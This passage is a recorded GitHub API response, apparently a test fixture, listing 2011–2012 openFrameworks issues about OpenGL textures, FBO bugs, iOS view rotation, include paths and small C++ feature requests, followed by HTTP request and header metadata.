fragment components: 0\r\nMax geometry uniform components: 0\r\nMax varying floats: 0\r\nMax samples: 0\r\nMax draw buffers: 0\r\n\r\n\r\nExtensions: 56\r\n\r\nGL_3DFX_texture_compression_FXT1\r\nGL_ARB_depth_texture\r\nGL_ARB_fragment_program\r\nGL_ARB_multitexture\r\nGL_ARB_occlusion_query\r\nGL_ARB_point_parameters\r\nGL_ARB_shadow\r\nGL_ARB_texture_border_clamp\r\nGL_ARB_texture_compression\r\nGL_ARB_texture_cube_map\r\nGL_ARB_texture_env_add\r\nGL_ARB_texture_env_combine\r\nGL_ARB_texture_env_crossbar\r\nGL_ARB_texture_env_dot3\r\nGL_ARB_transpose_matrix\r\nGL_ARB_vertex_buffer_object\r\nGL_ARB_vertex_program\r\nGL_ARB_window_pos\r\nGL_EXT_abgr\r\nGL_EXT_bgra\r\nGL_EXT_blend_color\r\nGL_EXT_blend_func_separate\r\nGL_EXT_blend_minmax\r\nGL_EXT_blend_subtract\r\nGL_EXT_clip_volume_hint\r\nGL_EXT_compiled_vertex_array\r\nGL_EXT_draw_range_elements\r\nGL_EXT_fog_coord\r\nGL_EXT_multi_draw_arrays\r\nGL_EXT_packed_pixels\r\nGL_EXT_rescale_normal\r\nGL_EXT_secondary_color\r\nGL_EXT_separate_specular_color\r\nGL_EXT_shadow_funcs\r\nGL_EXT_stencil_two_side\r\nGL_EXT_stencil_wrap\r\nGL_EXT_texture3D\r\nGL_EXT_texture_compression_s3tc\r\nGL_EXT_texture_env_add\r\nGL_EXT_texture_env_combine\r\nGL_EXT_texture_filter_anisotropic\r\nGL_EXT_texture_lod_bias\r\nGL_IBM_texture_mirrored_repeat\r\nGL_NV_blend_square\r\nGL_NV_texgen_reflection\r\nGL_SGIS_generate_mipmap\r\nGL_SGIS_texture_edge_clamp\r\nGL_SGIS_texture_lod\r\nGL_WIN_swap_hint\r\nWGL_ARB_buffer_region\r\nWGL_ARB_extensions_string\r\nWGL_ARB_make_current_read\r\nWGL_ARB_pbuffer\r\nWGL_ARB_pixel_format\r\nWGL_EXT_extensions_string\r\nWGL_EXT_swap_control\r\n\r\nCore features\r\nv1.1 (100 % - 7/7)\r\nv1.2 (100 % - 8/8)\r\nv1.3 (100 % - 9/9)\r\nv1.4 (100 % - 15/15)\r\nv1.5 (100 % - 3/3)\r\nv2.0 (10 % - 1/10)\r\nv2.1 (0 % - 0/3)\r\nv3.0 (0 % - 0/23)\r\nv3.1 (0 % - 0/8)\r\nv3.2 (0 % - 0/10)\r\nv3.3 (0 % - 0/10)\r\nv4.0 (0 % - 0/14)\r\nv4.1 (0 % - 0/7)\r\nv4.2 (0 % - 0/12)\r\n\r\nOpenGL driver version check (Current: 1.5.0 - Build 7.14.10.1244, Latest known: ):\r\nLatest version of display drivers found\r\nAccording the database, you are running the latest display drivers for your video card.\r\n\r\nNo ICD registry entry\r\nThe current OpenGL driver doesn't expose the SOFTWARE/Microsoft/Windows (NT)/CurrentVersion/OpenGLDrivers registry entry. Unable to detect the driver version, driver revision name and filename.\r\n\r\nCompiled vertex array support\r\nThis feature improves OpenGL performance by using video memory to cache transformed vertices.\r\n\r\nMultitexture support\r\nThis feature accelerates complex rendering such as lightmaps or environment mapping.\r\n\r\nSecondary color support\r\nThis feature provides an alternate method of coloring specular highlights on polygons.\r\n\r\nS3TC compression support\r\nThis feature improves texture mapping performance in some applications by using lossy compression.\r\n\r\nTexture edge clamp support\r\nThis feature improves texturing quality by adding clamping control to edge texel filtering.\r\n\r\nVertex program support\r\nThis feature enables a wide variety of effects via flexible vertex programming (equivalent to DX8 Vertex Shader.)\r\n\r\nFragment program support\r\nThis feature enables a wide variety of effects via per pixel programming (equivalent to DX9 Pixel Shader.)\r\n\r\nTexture anisotropic filtering support\r\nThis feature improves the quality of texture mapping on oblique surfaces.\r\n\r\nOcclusion test support\r\nThis feature provides hardware accelerated culling for objects.\r\n\r\nNo OpenGL Shading Language support\r\nThis may break compatibility for applications using per pixel shading.\r\n\r\nNo Frame buffer object support\r\nThis may break compatibility for applications using render to texture functions.\r\n\r\nDisabling ArbTex will work for me, but I thought others might have the same problem with 007.\r\n\r\n- Rob","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/771","comments":3,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":771,"html_url":"https://github.com/openframeworks/openFrameworks/issues/771","assignee":null,"title":"Textures Didn't Work in 007 on my Laptop, Had to Disable ArbTex","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-10-11T13:02:28Z","state":"open","user":{"url":"https://api.github.com/users/robgonsalves","gravatar_id":"7c2e18ac17a0b907dbac36aaa6a9ec0f","login":"robgonsalves","avatar_url":"https://secure.gravatar.com/avatar/7c2e18ac17a0b907dbac36aaa6a9ec0f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1119357},"id":1874373,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-24T15:27:29Z","body":"When integrating openFrameworks into existing build systems, it would make things easier if this common include convention was followed.\r\n\r\ni.e. to include openFrameworks headers in my own build, because all the includes look like:\r\n\r\n#include \"ofMesh.h\"\r\n#include \"ofAppGlutWindow.h\"\r\n#include \"ofSerial.h\"\r\n\r\nI have to add all these paths to my include paths:\r\n\r\n\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/app\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/3d\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/communication\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/gl\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/graphics\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/utils\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/types\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/math\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/events\r\n\r\n\r\n\r\nIt is common to instead structure files like (in the case of openFrameworks):\r\n\r\noF/include/oF\r\noF/include/oF/app\r\noF/include/oF/3d\r\noF/include/oF/communication\r\noF/include/oF/gl\r\noF/include/oF/graphics\r\n...etc...\r\n\r\nand just write:\r\n\r\n#include \r\n#include \r\n\r\netc.\r\n\r\nI'm not sure if there is an argument to leave it like it is because it's easier for oF's demographic? But I would say teaching the some_lib/include/some_lib/ convention would help people use more C++.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/767","comments":2,"milestone":null,"number":767,"html_url":"https://github.com/openframeworks/openFrameworks/issues/767","assignee":null,"title":"#include instead of #include ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-10-09T03:58:30Z","state":"open","user":{"url":"https://api.github.com/users/gimlids","gravatar_id":"cc4cace34c61103f0624002a692820f7","login":"gimlids","avatar_url":"https://secure.gravatar.com/avatar/cc4cace34c61103f0624002a692820f7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":186277},"id":1854874,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-12T13:12:02Z","body":"\r\nat the moment, ofNode has a draw function that has awkwardly hard coded sizes: \r\n\r\nvirtual void customDraw() {\r\n\t\tofBox(10);\r\n\t\tofDrawAxis(20);\r\n\t}\r\n\r\nI'd like a draw(size) option. obviously I can extend ofNode and create my own functions, but if I just draw a node, I might want to adjust the size internally, as the \"10\" and \"20\" might not make any sense based on where I am drawing, for example here: \r\n\r\nhttp://imgur.com/idWPp\r\n\r\nlooks quite weird, but at 1/10th the size would look ok. \r\n\r\nas most other OF objects have draw(size) options, I think ofNodeShould have this too. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/766","comments":4,"milestone":null,"number":766,"html_url":"https://github.com/openframeworks/openFrameworks/issues/766","assignee":null,"title":"ofNode should have a draw(float size) option","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-08T09:38:46Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":1851779,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T23:51:04Z","body":"edit: originally this issue was about adding glu functions. now i realize any remaining ones need to be removed. but it's still relevant to have an ofScreenToWorld and ofWorldToScreen. \r\n\r\nthis would be really awesome. there is already some code in ofDrawBitmapString that's using gluProject, it would be good to clean it up.\r\n\r\nthe main issue is that glu is not on iOS, so we'd need to find/write our own implementation.\r\n\r\nhere's a first pass:\r\n\r\n\tGLdouble modelviewMatrix[16], projectionMatrix[16];\r\n\tGLint viewport[4];\r\n\tvoid updateProjectionState() {\r\n\t\tglGetDoublev(GL_MODELVIEW_MATRIX, modelviewMatrix);\r\n\t\tglGetDoublev(GL_PROJECTION_MATRIX, projectionMatrix);\r\n\t\tglGetIntegerv(GL_VIEWPORT, viewport);\r\n\t}\r\n\r\n\tofVec3f ofWorldToScreen(ofVec3f world) {\r\n\t\tupdateProjectionState();\r\n\t\tGLdouble x, y, z;\r\n\t\tgluProject(world.x, world.y, world.z, modelviewMatrix, projectionMatrix, viewport, &x, &y, &z);\r\n\t\tofVec3f screen(x, y, z);\r\n\t\tscreen.y = ofGetHeight() - screen.y;\r\n\t\treturn screen;\r\n\t}\r\n\r\n\tofVec3f ofScreenToWorld(ofVec3f screen) {\r\n\t\tupdateProjectionState();\r\n\t\tGLdouble x, y, z;\r\n\t\tscreen.y = ofGetHeight() - screen.y;\r\n\t\tgluUnProject(screen.x, screen.y, screen.z, modelviewMatrix, projectionMatrix, viewport, &x, &y, &z);\r\n\t\tofVec3f world(x, y, z);\r\n\t\treturn world;\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/765","comments":4,"milestone":null,"number":765,"html_url":"https://github.com/openframeworks/openFrameworks/issues/765","assignee":null,"title":"remove gluProject and gluUnProject, add screenToWorld, worldToScreen","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-07T09:46:06Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1841802,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T06:02:37Z","body":"I made an app using the preRelease version 007, I have a gui view with a bunch of buttons and sliders this view is 1/3 of the screen size and sits at the bottom, it is an Universal app that allows any orientation on the iPad and supports Portrait only for the iPhone / iPod Touch, here is my problem I need to allow touches to pass through the gui view for this I use **[ofxiPhoneGetGLView() addSubview:guiViewController.view];** the problem this method is that the gui view does not call the **willAnimateRotationToInterfaceOrientation()** at launch, and I get the following message in the console\r\n_**Action connections from <UIView: 0x5b88d0; frame = (20 0; 280 320); autoresize = LM+RM+H; layer = <CALayer: 0x5b7d30>> are not supported.**_\r\n\r\n if I use **[ofxiPhoneGetUIWindow() addSubview:guiViewController.view];** the **willAnimateRotationToInterfaceOrientation()** method works at launch as expected and the gui view adjust itself to the correct position and size\r\n\r\nAny help will be much appreciated","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/764","comments":1,"milestone":null,"number":764,"html_url":"https://github.com/openframeworks/openFrameworks/issues/764","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"Autoresize problem in iOS","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-10-05T20:35:04Z","state":"open","user":{"url":"https://api.github.com/users/nardove","gravatar_id":"8022cb5f529975afbc64cc9312008d8c","login":"nardove","avatar_url":"https://secure.gravatar.com/avatar/8022cb5f529975afbc64cc9312008d8c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":277690},"id":1827792,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-28T01:00:34Z","body":"ofxXmlXettings uses TinyXML which gives you lots of useful error info like what line the error is on as well as what it has trouble reading. This is super awesome and useful to people like me who always mistype xml here and there.\r\n\r\nCurrently ofxXmlSettings::loadFile only returns a bool and you're left to figure out if it's a path issue, bad xml formatting, etc. At the least, we should be able to grab an error string.\r\n\r\nHere's how to do it:\r\n
\r\nstd::string Xml::getErrorString(const TiXmlDocument* xmlDoc)\r\n{\r\n    if(xmlDoc == NULL)\r\n        return \"\";\r\n\r\n    std::stringstream error;\r\n    error << \"line \" <<  xmlDoc->ErrorRow() << \", \" << (std::string) xmlDoc->ErrorDesc();\r\n    return error.str();\r\n}\r\n
","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/760","comments":1,"milestone":null,"number":760,"html_url":"https://github.com/openframeworks/openFrameworks/issues/760","assignee":null,"title":"ofxXmlSettings does not print any useful error messages","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-28T00:53:09Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":1758237,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T03:48:47Z","body":"This would be the best thing ever. \r\n\r\nstring ipAddr = ofxXmlSettings::readValueFromFile(\"data.xml\", \"ip\", \"127.0.0.1\"); \r\n\r\nofxXmlSettings::saveValueToFile(\"data.xml\", \"ip\", ipAddr); ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/758","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":758,"html_url":"https://github.com/openframeworks/openFrameworks/issues/758","assignee":null,"title":"non ofxXmlSettings object read and write value","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-09-26T11:54:06Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":1738864,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-25T13:22:59Z","body":"in my opinion, it would make sense for ofPixels::allocate to initialize the new memory to 0. even for large images, i don't think this is such an expensive operation.\r\n\r\ni discovered that it is not initialized to 0 when i had a really weird bug -- some code that gave me different results depending on whether i loaded another image before allocating or not. i was expecting OF to act like opencv, which also sets new memory to 0. this would be in line with ofVec*, ofColor, and a few other things, which are all allocated to 0.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/757","comments":0,"milestone":null,"number":757,"html_url":"https://github.com/openframeworks/openFrameworks/issues/757","assignee":null,"title":"ofPixels::allocate should init new memory","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-09-25T13:22:59Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1733504,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-22T08:20:27Z","body":"void ofFbo::end() {\r\n\tunbind();\r\n\tif(ofGetGLRenderer()){\r\n\t\tofGetGLRenderer()->setCurrentFBO(NULL);\r\n\t}\r\n\tofPopView();\r\n}\r\n\r\nthis will go wrong if nested fbo as following\r\n\r\nfbo1.begin();\r\n...\r\n fbo2.begin();\r\n ...\r\n fbo2.end();\r\n...\r\nfbo1.end();\r\n\r\nso probably the current fbo must not be set NULL\r\n\r\nerror show's in\r\nvoid ofGLRenderer::viewport(float x, float y, float width, float height, bool invertY) {\r\n\tif(width == 0) width = ofGetWindowWidth();\r\n\tif(height == 0) height = ofGetWindowHeight();\r\n\r\n\tif (invertY){\r\n\t\tif(currentFbo){\r\n\t\t\ty = currentFbo->getHeight() - (y + height);\r\n\t\t}else{\r\n\t\t\ty = ofGetWindowHeight() - (y + height);\r\n\t\t}\r\n\t}\r\n\tglViewport(x, y, width, height);\t\r\n}\r\nthe 'y' will computing wrong when current height is wrong\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/754","comments":0,"milestone":null,"number":754,"html_url":"https://github.com/openframeworks/openFrameworks/issues/754","assignee":null,"title":"nested fbo causing currentFBO lost","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-09-22T08:20:27Z","state":"open","user":{"url":"https://api.github.com/users/liquidzym","gravatar_id":"166640c513e589c86d2de49c52258eb4","login":"liquidzym","avatar_url":"https://secure.gravatar.com/avatar/166640c513e589c86d2de49c52258eb4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":51957},"id":1708332,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:38:03Z","body":"I found an issue with readToPixels() on iOS that works as expected when compiled for OSX. \r\n\r\nInitialize an FBO:\r\n\r\n   ofFbo::Settings settings;\r\n    settings.width = 1024;\r\n    settings.height = 1024;\r\n    settings.internalformat = GL_RGB;\r\n    settings.numSamples = 0;\r\n    settings.useDepth = false;\r\n    settings.useStencil = false;\r\n    screenFBO.allocate(settings);\r\n\r\nthen draw into the FBO and attempt to retrieve the pixels:\r\n\r\n ofPixels pixels; \r\n screenFBO.readToPixels(pixels); \r\n\r\nThis gives me the ofPixels I'm expecting in OSX, in iOS the pixels aren't populated. I can draw the FBO and see it on screen, I just can't get the pixels out of the texture in iOS.\r\n\r\nThis seems to be related to this portion of readToPixels() from ofFbo.cpp:\r\n\r\n bind(); \r\n int format,type; \r\n ofGetGlFormatAndType(settings.internalformat,format,type); \r\n glReadPixels(0,0,settings.width, settings.height, format, GL_UNSIGNED_BYTE, pixels.getPixels()); \r\n unbind(); \r\n\r\nHas anyone experienced this issue – any fixes?\r\n\r\nThanks,\r\nSteve","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/753","comments":1,"milestone":null,"number":753,"html_url":"https://github.com/openframeworks/openFrameworks/issues/753","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofFbo readToPixels() in iOS","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-09-21T20:50:33Z","state":"open","user":{"url":"https://api.github.com/users/stephen-baker","gravatar_id":"96e9ae469240e57fc3ebeed6769c7016","login":"stephen-baker","avatar_url":"https://secure.gravatar.com/avatar/96e9ae469240e57fc3ebeed6769c7016?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1047836},"id":1704855,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-21T10:37:20Z","body":"I'm having a problem with creating an image out of ofFbo pixels with some image and fbo sizes\r\n\r\n```c++\r\nvoid testApp::setup(){\r\n\r\n ofSetLogLevel(OF_LOG_VERBOSE);\r\n\tofSetVerticalSync(false);\r\n ofBackground(34, 34, 34);\r\n\tofEnableAlphaBlending();\r\n\r\n ofSetWindowShape(1024, ofGetScreenHeight()-70);\r\n ofSetFrameRate(60);\r\n\r\n frame.loadImage(\"lay.png\");\r\n \r\n imageHeight = 1172;\r\n imageWidth = 1182;\r\n\r\n mergeFbo.allocate(imageWidth, imageHeight, GL_RGB);\r\n\r\n final.setImageType(OF_IMAGE_COLOR);\r\n\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n\r\n ofEnableAlphaBlending();\r\n\r\n mergeFbo.begin();\r\n\r\n ofClear(0, 0, 0, 1);\r\n\r\n frame.draw(0, 0);\r\n\r\n mergeFbo.end();\r\n\r\n\r\n mergeFbo.draw(200, 100, 100, 200);\r\n \r\n \r\n mergeFbo.readToPixels(pixels);\r\n final.setFromPixels(pixels);\r\n\r\n final.draw(0, 0);\r\n\r\n}\r\n```","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/752","comments":1,"milestone":null,"number":752,"html_url":"https://github.com/openframeworks/openFrameworks/issues/752","assignee":null,"title":"ofFbo (problems with certain image dimensions)","labels":[],"closed_at":null,"created_at":"2011-09-20T21:16:24Z","state":"open","user":{"url":"https://api.github.com/users/ammalgamma","gravatar_id":"96b69749f518cf6a2964b999bf29ee8e","login":"ammalgamma","avatar_url":"https://secure.gravatar.com/avatar/96b69749f518cf6a2964b999bf29ee8e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":517000},"id":1691874,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-19T09:04:12Z","body":"feature request for a more generic ofJoin() function that accepts vectors of all kinds of objects (float, int, ofVec2f, etc) rather than just string. anything that implements operator<<\r\n\r\nhere's an example using stl:\r\n\r\n\t#include \r\n\ttemplate \r\n\tstring ofJoin(vector& elements, string delimiter) {\r\n\t\tstringstream result;\r\n\t\tcopy(elements.begin(), elements.end(), ostream_iterator(result, delimiter.c_str()));\r\n\t\treturn result.str();\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/748","comments":3,"milestone":null,"number":748,"html_url":"https://github.com/openframeworks/openFrameworks/issues/748","assignee":null,"title":"more generic ofJoin","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-17T07:26:18Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1668066,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-21T17:22:14Z","body":"\r\nI'm looking into creating some new primitives for OF [1] and the polygon winding has me a bit confused.\r\n\r\nIf you take for instance \"graphicsExample\" an you add:\r\n\r\n```glEnable( GL_CULL_FACE );```\r\n\r\nSomewhere you will no longer see much drawn to screen.\r\n\r\nGL_CCW is the default FrontFace for OpenGL, but OF seems to be the opposite.\r\nhttp://www.khronos.org/opengles/sdk/docs/man/xhtml/glFrontFace.xml\r\n\r\nWhich is coolio of course, as long as we are consistent.\r\n\r\nOur options are either to throw a ```glFrontFace( GL_CW );``` in there somewhere OR re-write all the drawing to be consistent with OpenGL default, not sure what is the best in the long run.\r\n\r\nWhat say you all?\r\n\r\n/A\r\n\r\n\r\n[1] https://github.com/andreasmuller/openFrameworks/blob/develop-opengles2/libs/openFrameworks/3d/of3dPrimitives.h","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/745","comments":2,"milestone":null,"number":745,"html_url":"https://github.com/openframeworks/openFrameworks/issues/745","assignee":null,"title":"Polygon winding","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-09-14T13:50:48Z","state":"open","user":{"url":"https://api.github.com/users/andreasmuller","gravatar_id":"210831a04d36f1aa26413ecbdbd4b07c","login":"andreasmuller","avatar_url":"https://secure.gravatar.com/avatar/210831a04d36f1aa26413ecbdbd4b07c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":791114},"id":1643672,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=8 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4936'), ('content-length', '42586'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"1f6749765d79f3319834dfda4c27cd5e"'), ('date', 'Tue, 29 May 2012 19:27:17 GMT'), ('content-type', 'application/json; 